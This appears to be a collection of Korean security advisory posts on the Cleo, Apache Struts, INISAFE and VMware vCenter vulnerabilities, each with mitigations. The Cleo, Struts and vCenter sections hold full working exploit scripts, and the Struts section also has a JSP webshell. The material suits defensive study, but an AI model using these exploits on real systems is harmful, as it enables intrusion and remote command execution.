- 위 검사를 통과하면 아래 코드가 실행되어 지정된 경로의 파일에 쓰이게 됨

> 파일 읽기와 마찬가지로 "../" 등의 디렉터리 이동 문자열을 사용해 임의 파일 쓰기가 가능

> 임의 파일 쓰기를 사용해 autorun 디렉터리(자동 실행 관련 디렉터리)에 파일을 업로드하여 RCE를 수행

OutputStream out = LexIO.getFileOutputStream(otherFile, false, true, false);
if (length > 0) {
  LexiCom.copy((InputStream)in, out);
}
((InputStream)in).close();
out.close();

3. PoC

- /Synchronization URL 및 VLSync 헤더를 설정하여 익스플로잇 [3]

banner = """			 __         ___  ___________                   
	 __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________ 
	 \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
	  \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
	   \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|   
				  \\/          \\/     \\/                            
	  
        CVE-2024-50623.py
        (*) Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)

          - Sonny and Sina Kheirkhah (@SinSinology) of watchTowr (sina@watchTowr.com)

        CVEs: [CVE-2024-50623]  """


import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning)
import requests
requests.packages.urllib3.disable_warnings()
import argparse

print(banner)

parser = argparse.ArgumentParser(usage="""python CVE-2024-50623 --target http://192.168.1.1/ --action read_or_write --where ..\\..\\pwned.txt --what shell.dll_jsp_xml_txt_zip""", description="Cleo Unrestricted file upload and download vulnerability (CVE-2024-50623)")

parser.add_argument("--target", help="Target URL", required=True)
parser.add_argument("--action", help="Action to perform", choices=['write', 'read'], required=True)
parser.add_argument("--where", help="File to write or read", required=True)
parser.add_argument("--what", help="local file to upload", required=False)

args = parser.parse_args()
args.target = args.target.rstrip('/')

s = requests.Session()
s.verify = False

def extract_version(target):
    r = s.get(f"{target}/Synchronization")
    version = r.headers['Server'].split('/')[1].split(' ')[0]
    return version

def read_file(target, where, target_version):
    headers = {
        'VLSync': f"Retrieve;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }
    

    r = s.get(f"{target}/Synchronization", headers=headers)
    if(r.status_code == 200):
        print(r.text)
    else:
        print("[ERROR] Failed to read the file")


def write_file(target, where, what, target_version):

    headers = {
        'VLSync': f"ADD;l=Ab1234-RQ0258;n=VLTrader;v={target_version};a=1337;po=1337;s=True;b=False;pp=1337;path={where}"
    }

    r = s.post(f"{target}/Synchronization", headers=headers, data=what)
    if(r.status_code == 200):
        print("[INFO] File written successfully")
    else:
        print("[ERROR] Failed to write the file")




if(args.action == 'read'):
    read_file(args.target, args.where, extract_version(args.target))
elif(args.action == 'write'):
    if(args.what == None):
        print("[ERROR] --what is required for write action")
        exit(1)
    write_file(args.target, args.where, open(args.what,"rb").read(), extract_version(args.target))
else:
    print("[ERROR] Invalid action")
    exit(1)

4. 대응방안

- 벤더사 제공 업데이트 적용 [4]

> validatePath()를 추가해 path 파라미터에 대한 검증 추가

protected int validatePath(String path) {
        try {
            if (!Strings.isNullOrEmpty(path)) {
                URI uri = new URI(path);
                if (!Strings.isNullOrEmpty(uri.getScheme())) {
                    return ServiceException.REMOTE_IO_EXCEPTION;
                }
            }
        } catch (URISyntaxException e) {
        }
        String path2 = FilenameUtils.normalize(path);
        if (Strings.isNullOrEmpty(path2)) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath = LexIO.getRelative(path2);
        if (relativePath.startsWith("/") || relativePath.startsWith("\\") || new File(path2).isAbsolute()) {
            return ServiceException.REMOTE_IO_EXCEPTION;
        }
        String relativePath2 = relativePath.toLowerCase().replace("\\", "/");
        for (String rootpath : UNPROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath)) {
                return 200;
            }
        }
        for (String rootpath2 : PROTECTED_PATHS) {
            if (relativePath2.startsWith(rootpath2)) {
                return ServiceException.REMOTE_IO_EXCEPTION;
            }
        }
        return 200;
    }

 

- autorun 설정 비활성화 [5]

[사진 3] autorun 비활성화

- /Synchronization URL 및 VLSync 헤더에 대한 보안 장비 탐지 규칙 적용

- 접근 제한, 관련 디렉터리 및 로그 점검, 악성 파일 삭제 등 조치 권고

5. 참고

[1] https://support.cleo.com/hc/en-us

[2] https://nvd.nist.gov/vuln/detail/CVE-2024-50623

[3] https://github.com/watchtowrlabs/CVE-2024-50623?ref=labs.watchtowr.com

[4] https://support.cleo.com/hc/en-us/articles/27140294267799-Cleo-Product-Security-Advisory-CVE-2024-50623?ref=labs.watchtowr.com

[5] https://www.huntress.com/blog/threat-advisory-oh-no-cleo-cleo-software-actively-being-exploited-in-the-wild

[6] https://labs.watchtowr.com/cleo-cve-2024-50623/

[7] https://www.dailysecu.com/news/articleView.html?idxno=162064

1. Apache Struts

-  Java EE 웹 애플리케이션을 개발하기 위한 오픈 소스 프레임워크

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164 [1]

 

- 파일 업로드 매개변수 조작을 통해 경로 순회를 활성화하여 원격 코드 실행이 가능한 임의의 파일을 업로드할 수 있는 취약점 (CVSS: 9.8)

- 해당 취약점이 동작하기 위해서는 ① 취약한 버전 Apache Struts의 파일 업로드 기능을 사용하며 ② setter 루틴을 사용하는 사용자 정의 논리가 구현되어 있어야 하는 것으로 판단됨

영향받는 버전
- Apache Struts 6.0.0 ~ 6.3.0
- Apache Struts 2.5.0 ~ 2.5.32
- Apache Struts 2.0.0 ~ 2.3.37 EOL_제품 서비스가 종료되어 유지보수, 버그 수정, 보안 업데이트 등이 이루어지지 않음

 

2.1 취약점 상세 [3][4][5][6]

- 파일 업로드시 Struts 인터셉터 FileUploadInterceptor를 통해 파일 업로드 관련 매개변수를 추출

> FileUploadInterceptor는 파일 업로드 관련 매개변수를 HttpParameters에 매핑 [2]

> 매핑 과정에서 매개변수의 대ㆍ소문자를 구분할 경우 덮어쓰기를 유발하는 것으로 판단됨

[사진 2]  Upload 클래스

 

- 공격자는 POST 메소드를 이용해 /upload/upload.action 경로로 조작된 요청을 전송

> "Upload" 및 "uploadFileName"을 처리하는 과정에서 덮어쓰기가 발생

> 업로드 파일 덮어쓰기 및 경로 순회가 발생해 임의의 위치로 이동하여 파일 업로드가 가능해짐

 

[사진 3] 조작된 POST 요청 전송

 

2.2 PoC [7]

- 지정된 경로에 웹쉘 등 파일 업로드 후 연결을 시도하며, 200 반환시 쉘 획득

import os
import sys
import time
import string
import random
import argparse
import requests
from urllib.parse import urlparse, urlunparse
from requests_toolbelt import MultipartEncoder
from requests.exceptions import ConnectionError

MAX_ATTEMPTS = 10
DELAY_SECONDS = 1
HTTP_UPLOAD_PARAM_NAME = "upload"
CATALINA_HOME = "/opt/tomcat/"
NAME_OF_WEBSHELL = "webshell"
NAME_OF_WEBSHELL_WAR = NAME_OF_WEBSHELL + ".war"
NUMBER_OF_PARENTS_IN_PATH = 2


def get_base_url(url):
    parsed_url = urlparse(url)
    base_url = urlunparse((parsed_url.scheme, parsed_url.netloc, "", "", "", ""))
    return base_url

def create_war_file():
    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        os.system("jar -cvf {} {}".format(NAME_OF_WEBSHELL_WAR, NAME_OF_WEBSHELL+'.jsp'))
        print("[+] WAR file created successfully.")
    else:
        print("[+] WAR file already exists.")

def upload_file(url):
    create_war_file()

    if not os.path.exists(NAME_OF_WEBSHELL_WAR):
        print("[-] ERROR: webshell.war not found in the current directory.")
        exit()

    war_location = '../' * (NUMBER_OF_PARENTS_IN_PATH-1) + '..' + \
        CATALINA_HOME + 'webapps/' + NAME_OF_WEBSHELL_WAR

    war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()

    files = {
        HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.txt", war_file_content, "application/octet-stream"),
        HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
    }

    boundary = '----WebKitFormBoundary' + ''.join(random.sample(string.ascii_letters + string.digits, 16))
    m = MultipartEncoder(fields=files, boundary=boundary)
    headers = {"Content-Type": m.content_type}

    try:
        response = requests.post(url, headers=headers, data=m)
        print(f"[+] {NAME_OF_WEBSHELL_WAR} uploaded successfully.")
    except requests.RequestException as e:
        print("[-] Error while uploading the WAR webshell:", e)
        sys.exit(1)

def attempt_connection(url):
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            r = requests.get(url)
            if r.status_code == 200:
                print('[+] Successfully connected to the web shell.')
                return True
            else:
                raise Exception
        except ConnectionError:
            if attempt == MAX_ATTEMPTS:
                print(f'[-] Maximum attempts reached. Unable to establish a connection with the web shell. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
        except Exception:
            if attempt == MAX_ATTEMPTS:
                print('[-] Maximum attempts reached. Exiting...')
                return False
            time.sleep(DELAY_SECONDS)
    return False

def start_interactive_shell(url):
    if not attempt_connection(url):
        sys.exit()

    while True:
        try:
            cmd = input("\033[91mCMD\033[0m > ")
            if cmd == 'exit':
                raise KeyboardInterrupt
            r = requests.get(url + "?cmd=" + cmd, verify=False)
            if r.status_code == 200:
                print(r.text.replace('\n\n', ''))
            else:
                raise Exception
        except KeyboardInterrupt:
            sys.exit()
        except ConnectionError:
            print('[-] We lost our connection to the web shell. Exiting...')
            sys.exit()
        except:
            print('[-] Something unexpected happened. Exiting...')
            sys.exit()

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Exploit script for CVE-2023-50164 by uploading a webshell to a vulnerable Struts app's server.")
    parser.add_argument("--url", required=True, help="Full URL of the upload endpoint.")
    args = parser.parse_args()

    if not args.url.startswith("http"):
        print("[-] ERROR: Invalid URL. Please provide a valid URL starting with 'http' or 'https'.")
        exit()

    print("[+] Starting exploitation...")
    upload_file(args.url)

    webshell_url = f"{get_base_url(args.url)}/{NAME_OF_WEBSHELL}/{NAME_OF_WEBSHELL}.jsp"
    print(f"[+] Reach the JSP webshell at {webshell_url}?cmd=<COMMAND>")

    print(f"[+] Attempting a connection with webshell.")
    start_interactive_shell(webshell_url)

 

- 웹쉘은 cmd 매개변수로 명령을 전달받아 명령 수행 결과를 반환

<%@ page import="java.io.*" %>
<%
    String cmd = request.getParameter("cmd");
    String output = "";
    if (cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd, null, null);
            BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
            while ((s = sI.readLine()) != null) {
                output += s + "\n";
            }
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
%>
<%=output %>

 

3. 대응방안

- 벤더사 제공 최신 업데이트 적용 [8]

> 업로드 후 임시 파일이 삭제되도록 보장

> HttpParameters 클래스가 매개 변수 이름을 대소문자 구분하지 않도록 변경

제품명 영향받는 버전 해결 버전
Struts 6.0.0 ~ 6.3.0 6.3.0.2
2.0.0 ~ 2.3.37(EOL)
2.5.0 ~ 2.5.32
2.5.33

 

- 파일 업로드 구성 검토 (업로드 파일 크기 제한 등 검토)

- 모니터링 (snort rule 적용 등 비정상적인 시도 모니터링 및 차단)

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2023-50164
[2] https://struts.apache.org/core-developers/file-upload-interceptor
[3] https://www.vicarius.io/vsociety/posts/apache-struts-rce-cve-2023-50164
[4] https://attackerkb.com/topics/pe3CCtOE81/cve-2023-50164/rapid7-analysis?referrer=notificationEmail
[5] https://xz.aliyun.com/t/13172#toc-5
[6] https://www.wealthymagnate.com/cve-2023-50164/
[7] https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
[8] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71262&menuNo=205020
[9] https://www.boannews.com/media/view.asp?idx=124844&page=2&kind=1

 

======================================내용추가===============================================

1. 취약점 개요

- Apache Struct2 프레임워크를 사용하여 개발된 사이트는 기본적으로 ".action" 확장자 형태로 실행

> Action 클래스는 특정 앤드포인트에서 사용자의 요청을 처리하는데 사용됨

> 해당 취약점은 파일 업로드와 관련된 "/upload.action" 앤드포인트에서 발생

 

- ActionSupport를 상속받은 Upload 클래스에서 파일 업로드에 대한 파라미터 구성 확인 가능

> 정의된 파일 업로드에 대한 3가지 속성 값을 통해 파일 업로드를 처리

[사진 4] Upload 클래스

- 파일 업로드 시 HTTP 요청에서 각각의 파라미터명과 속성은 다음과 같이 매칭됨

> upload 파라미터를 변조하고, 원격 명령 실행을 위한 내용을 추가해 기존 파일의 내용을 덮어쓸 수 있음

> 이후 악성코드를 포함한 파일 내용을 uploadFileName을 추가하여 임의의 경로를 지정한 파일명으로 덮어씀

[사진 5] 파일 업로드 관련 요청에서 파라미터와 속성 매칭
[사진 6] 요청 변경 전 후 비교

2. 취약점 상세

2.1 파일 업로드 요청 - HttpParameters.java (HTTP 요청 파라미터를 처리)

- 파일 업로드 요청 수신 시 HttpParameters 클래스의 get(), remove(), contains() 메서드는 파일 업로드와 관련된 파라미터에 대한 비교를 수행

> 이때 취약한 버전의 HttpParameters 클래스는 파라미터에 대한 대소문자를 구분

> name="upload"name="Upload"의 경우 대소문자를 구분하기 때문에 각각 upload와 Uplaod라는 파라미터가 생성

[사진 7] HttpParameters

2.2 파일 업로드 파라미터 재정의 - 파일 내용 변조

- 취약한 버전의 HttpParameters 클래스는 대소문자를 구분해 기존의 파라미터에 대한 재정의가 가능

> ParametersInterceptor 클래스의 setParameters() 메서드에서 진행

> setParameters() 메서드는 TreeMap 구조로 파일 업로드를 처리하며, Java의 TreeMap은 숫자 > 대문자 > 소문자 > 한글 순으로 정렬

> 따라서, 파라미터 값으로 upload와 Upload가 존재한다면, Upload 파라미터의 파일 내용을 우선 출력

> 공격자는 파라미터 값을 Upload로 변조하고 웹쉘 스크립트를 삽입 및 전송해 기존 파일 내용을 덮어쓸 수 있음

※ TreeMap 구조
- Java의 java.util 패키지에서 제공되는 컬렉션 클래스 중 하나
- 키-값 쌍(Key-Value Pair)의 데이터를 중복 없이 저장하며 키를 정렬된 순서(오름차순)로 유지

[사진 8] setParameters()

2.3 파일 업로드 - FileUploadInterceptor.java

- struts-default.xml은 Apche Struts2에서 기본적으로 제공하는 설정 파일로, 사용자 요청을 지원하는 Interceptor를 정의

> 사용자로부터 파일 업로드 요청이 들어오면, FileUploadInterceptor 클래스는 multiWrapper를 통해 inputName 값을 기반으로 3가지 속성값을 가져와 파일 업로드 요청 처리 및 업로드 파일 서버에 저장

> 3가지 속성 값 : 파일 객체(File), 파일명(FileNme), 컨텐츠 타입(FileContent Type)

> 이때, 서버에 저장된 파일의 파일명은 setUploadFileName() 메소드에 전달

 

2.4 파일 업로드 파라미터 재정의 - 파일명 변조

- 서버에 업로드 된 악성파일에 접근하기 위해 서버에 업로드된 파일명을 나타내는 파라미터를 재정의

> 서버에 업로드된 파일의 파일명은 setUploadFileName()를 통해 처리되며, uploadFileName을 재정의해 임의의 경로를 초함한 파일명으로 변조 가능

[사진 9] 취약점 동작 과정

- 벤더사는 취약점에 대한 패치 배포

> HTTP 요청 파라미터 처리 과정에서 대소문자 구분하지 않도록 equalsIngoreCase() 메서드 추가

> 동일한 파라미터가 있는 경우 제거하는 remove() 메서드 추가

3. 출처

[1] https://www.skshieldus.com/kor/media/newsletter/insight.do (SK쉴더스 EQST insight 리포트 2024년 2월호)

1. INISAFE CrossWeb EX V3

- 이니텍에서 제작하였으며, 공동인증서를 사용해 로그인하거나 전자서명할 때 쓰이는 S/W

- 국내 금융기관 및 쇼핑몰 등 다수 홈페이지에서 사용자 인증서 처리를 위해 주로 사용

- 사용자가 홈페이지에 접속하면 자동 설치됨

 

2. 취약점

- 작년말 북한이 해당 S/W의 취약점을 악용해 PC 해킹 및 악성코드 유포 등 해킹한 사실이 국정원·경찰청·KISA 등 유관기관에 의해 적발

- 국가·공공기관 및 방산·바이오업체 등 국내외 주요기관 60여곳의 PC 210여대를 해킹한 사실을 확인

- 해킹에 악용된 S/W는 국내외 1,000만대 이상의 기관·업체·개인 PC에 설치되어 있는 것으로 추정

- 대규모 피해 확산 방지를 위해 관계기관과 합동으로 관련 사실을 공지

영향받는 버전
- INISAFE CrossWeb EX V3 3.3.2.40 이하 버전

 

2.1 취약점 상세

- 해당 취약점은 INITECH사 프로세스(inisafecrosswebexsvc.exe)에 의해 악성 행위가 발생되는 것으로 확인됨

피해 시스템의
inisafecrosswebexsvc.exe
특징
- INITECH사의 보안 프로그램인 INISAFE CrossWeb EX V3의 실행 파일
- 정상 파일과 같은 해시값을 가짐 (MD5:4541efd1c54b53a3d11532cb885b2202)
- INITECH사에 의해 정상 서명된 파일
- INISAFE Web EX Client로 침해 시점 이전부터 시스템에 설치되어 있었으며, 변조의 흔적 또한 발견되지 않음
- 시스템 부팅 시 iniclientsvc_x64.exe에 의해 실행되는데, 침해 당일에도 같은 방식으로 실행

 

- 악성코드인 SCSKAppLink.dll이 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작

※ DLL 인젝션: 다른 프로세스의 주소 공간 내에서 DLL을 강제로 로드시킴으로써 코드를 실행시키는 기술

- SCSKAppLink.dll에는 호스트 프로세스에 따라 분기하는 코드가 포함

 

[사진 1] 분기 코드

 

- 분기 코드는 inisafecrosswebexsvc.exe 프로세스에 인젝션되어 동작하는 경우 특정 C2에 접속하여 추가 악성코드를 다운 및 실행

※ svchost.exe, rundll32.exe, notepad.exe에 인젝션 여부를 판단하도록 돼있으나, 해당 분기문에는 실행 코드가 포함되지 않음

 

[사진 2] 호스트가 inisafecrosswebexsvc.exe인 경우 접속하는 C2 주소

 

- C2에 접속하여 임시폴더에 악성코드 main_top[1].htm 다운로드 후 특정 경로에 복사

> 다운로드 경로 : c:\users\<사용자>\appdata\local\microsoft\windows\inetcache\ie\zlvrxmk3\main_top[1].htm

> 복사된 경로 : C:\Users\Public\SCSKAppLink.dll

 

[사진 3] 동작 과정

 

3. 대응방안

① 서비스 운영자: 이니텍를 통해 최신버전 교체_INISAFE CrossWeb EX V3 3.3.2.41

 

② 제품 사용자: 취약한 버전이 설치되어 있는 경우 제거 후 최신버전 업데이트를 진행

> [제어판]-[프로그램]-[프로그램 및 기능]에서 INISAFE CrossWeb EX V3 버전 확인 후 제거 클릭

> 아래 링크를 참고하여, 운영체제에 맞는 최신 버전의 INISAFE CrossWeb EX V3를 설치

※ Windows 클라이언트(v3.3.2.41_32bit) : http://demo.initech.com/initech/crosswebex_pack/3.3.2.41/INIS_EX_SHA2_3.3.2.41.exe

 

③ 침해지표 IoC 보안 장비 적용 [3]

 

3.1 기타사항

① 국정원 조치

> 올해 1월 긴급 대응에 착수, 해당 악성코드의 작동 원리 등에 대한 상세 분석을 완료

> 해당 분석 자료를 근거로 A사와 협조해 실제 공격-방어 시현을 진행하는 등 보안 패치 개발을 완료

> 현재 해당 프로그램을 사용 중인 공공·금융기관을 대상으로 관계기관들과 함께 보안 패치를 진행 중

> 국민 대상 보안 프로그램을 최신 버전으로 신속하게 업데이트 강조

> 23.04.05일 판교 사이버안보협력센터에서 ‘금융보안 SW 침해사고 방지 를 위한 유관기관 간담회’를 개최

※ 과학기술정보통신부·경찰청·KISA·금융감독원·금융보안원 등 정부기관 및 12개 금융보안 SW 제조사가 참여

※ 최신 해킹사례를 공유하고, 유사 사례 재발을 막기 위한 대책을 논의할 계획

>  관계기관과의 적극적인 사이버위협 정보 공유 및 협력을 통해 북한의 해킹위협에 선제적으로 대응할 것

 

② 이니텍 조치

> 지난 1월 독일 보안 전문가 블라디미르 팔란트의 게시글 이미지에 자사 제품이 있어 취약점 점검 및 취약점 확인

> 취약점 발견 후 이를 보완하는 와중에 국정원에서 연락이 옴

> 2월20일 문제가 된 취약점을 완화하는 보안패치 개발을 완료해 배포 중_현재 40%가량의 기업들이 패치를 완료한 상태

 

4. 참고

[1] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71030&menuNo=205020
[2] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=32172&pageIndex=1#LINK
[3] https://asec.ahnlab.com/ko/33706/
[4] https://asec.ahnlab.com/ko/50727/
[5] https://www.boannews.com/media/view.asp?idx=115670
[6] https://www.boannews.com/media/view.asp?idx=115658
[7] https://www.ddaily.co.kr/news/article/?no=260579
[8] https://www.news1.kr/articles/5000945

1. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- vSphere Client(HTML5)에는 vCenter Server의 업로드 관련 플러그인(uploadova)의 파일 업로드 취약점

 파일 업로드 후 원격 명령 실행으로 이어질 수 있음

 

영향받는 버전
- VMware vCenter Server 7.0 U1c 이전 7.x 버전
- VMware vCenter Server 6.7 U3I 이전 6.7 버전
- VMware vCenter Server 6.5 U3n 이전 6.5 버전
- VMware Cloud Foundation (vCenter 서버) 4.2 이전 4.x 버전
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2 이전 3.x 버전

[사진 2] 쇼단 검색 화면 (http.title:"ID_VC_Welcome")

2. 분석

2.1 원인

- 공개된 PoC 확인 시 업로드 관련 플러그인(uploadova)을 이용해 악성 파일 업로드 후 원격 명령 입력을 시도

- uploadova 엔드포인트의 경로인 /ui/vropspluginui/rest/services/* 는 인증 없이 접근이 가능

[사진 3] uploadova 플러그인 코드의 취약한 부분

 

- [사진 3]의 코드는 다음과 같은 문제를 유발시킴

① uploadova 플로그인은 tar 압축 파일만 업로드 가능한 플러그인 > 압축 파일 확장자(.tar) 이름을 필터링되지 않음

② 아카이브 파일을 받아 /tmp/unicorn_ova_dir 경로에 해당 아카이브 파일을 열어 파일을 생성 > 생성되는 아카이브 내부의 파일 이름에 대한 검증이 없음

∴ 악성 파일을(ex. webshell) 업로드 후 원격 명령어 입력이 가능

 

[자신 4] PoC 화면

2.2 PoC

- 공개된 PoC를 확인 시 다음을 알 수 있음

① POST 메소드 사용

② /ui/vropspluginui/rest/services/uploadova URL 요청

③ .tar 확장자 파일을 업로드 시도

 

※ 대상 서버가 Windows인 경우

- .jsp 형식의 웹 쉘 등 악의적인 파일을

- C:\ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\ 에 업로드 (인증 없이 접근 가능)

- 파일에 접근 및 원격 코드 실행

#!/usr/bin/python3

import argparse
import requests
import tarfile
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

ENDPOINT = '/ui/vropspluginui/rest/services/uploadova'

def check(ip):
    r = requests.get('https://' + ip + ENDPOINT, verify=False, timeout=30)
    if r.status_code == 405:
        print('[+] ' + ip + ' vulnerable to CVE-2021-21972!')
        return True
    else:
        print('[-] ' + ip + ' not vulnerable to CVE-2021-21972. Response code: ' + str(r.status_code) + '.')
        return False

def make_traversal_path(path, level=5, os="unix"):
    if os == "win":
        traversal = ".." + "\\"
        fullpath = traversal*level + path
        return fullpath.replace('/', '\\').replace('\\\\', '\\') 
    else:
        traversal = ".." + "/"
        fullpath = traversal*level + path
        return fullpath.replace('\\', '/').replace('//', '/')

def archive(file, path, os):
    tarf = tarfile.open('exploit.tar', 'w')
    fullpath = make_traversal_path(path, level=5, os=os)
    print('[+] Adding ' + file + ' as ' + fullpath + ' to archive')
    tarf.add(file, fullpath)
    tarf.close()
    print('[+] Wrote ' + file + ' to exploit.tar on local filesystem')

def post(ip):
    r = requests.post('https://' + ip + ENDPOINT, files={'uploadFile':open('exploit.tar', 'rb')}, verify=False, timeout=30)
    if r.status_code == 200 and r.text == 'SUCCESS':
        print('[+] File uploaded successfully')
    else:
        print('[-] File failed to upload the archive. The service may not have permissions for the specified path')
        print('[-] Status Code: ' + str(r.status_code) + ', Response:\n' + r.text) 

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
    parser.add_argument('-f', '--file', help='The file to tar')
    parser.add_argument('-p', '--path', help='The path to extract the file to on target')
    parser.add_argument('-o', '--operating-system', help='The operating system of the VCSA server')
    args = parser.parse_args()
    
    vulnerable = check(args.target)
    if vulnerable and (args.file and args.path and args.operating_system):
        archive(args.file, args.path, args.operating_system)
        post(args.target)

 

3. 대응방안

3.1 서버측면

① 최신 버전의 업데이트 적용

- VMware vCenter Server 7.0 U1c
- VMware vCenter Server 6.7 U3I
- VMware vCenter Server 6.5 U3n
- VMware Cloud Foundation (vCenter 서버) 4.2
- VMware Cloud Foundation (vCenter 서버) 3.10.1.2

 

3.2 네트워크 측면

① 보안장비에 취약점을 이용한 공격 시도를 탐지할 수 있는 정책 적용

alert tcp any any -> any any (msg:"VMware vCenter Server Uploadova (CVE-2021-21972)"; flow:established,from_client; content:"POST"; depth:4; content:"ui/vropspluginui/rest/services/uploadova"; distance:1;)

 

4. 참고

https://nvd.nist.gov/vuln/detail/CVE-2021-21972

- https://vulmon.com/vulnerabilitydetails?qid=CVE-2021-21972

- https://www.shodan.io/search?query=http.title:%22ID_VC_Welcome%22

https://reconshell.com/cve-2021-21972-vcenter-rce-vulnerability-analysis/

- https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=35925

https://kb.vmware.com/s/article/82374

https://www.vmware.com/security/advisories/VMSA-2021-0002.html

https://swarm.ptsecurity.com/unauth-rce-vmware/

https://github.com/horizon3ai/CVE-2021-21972/blob/master/CVE-2021-21972.py

+ Recent posts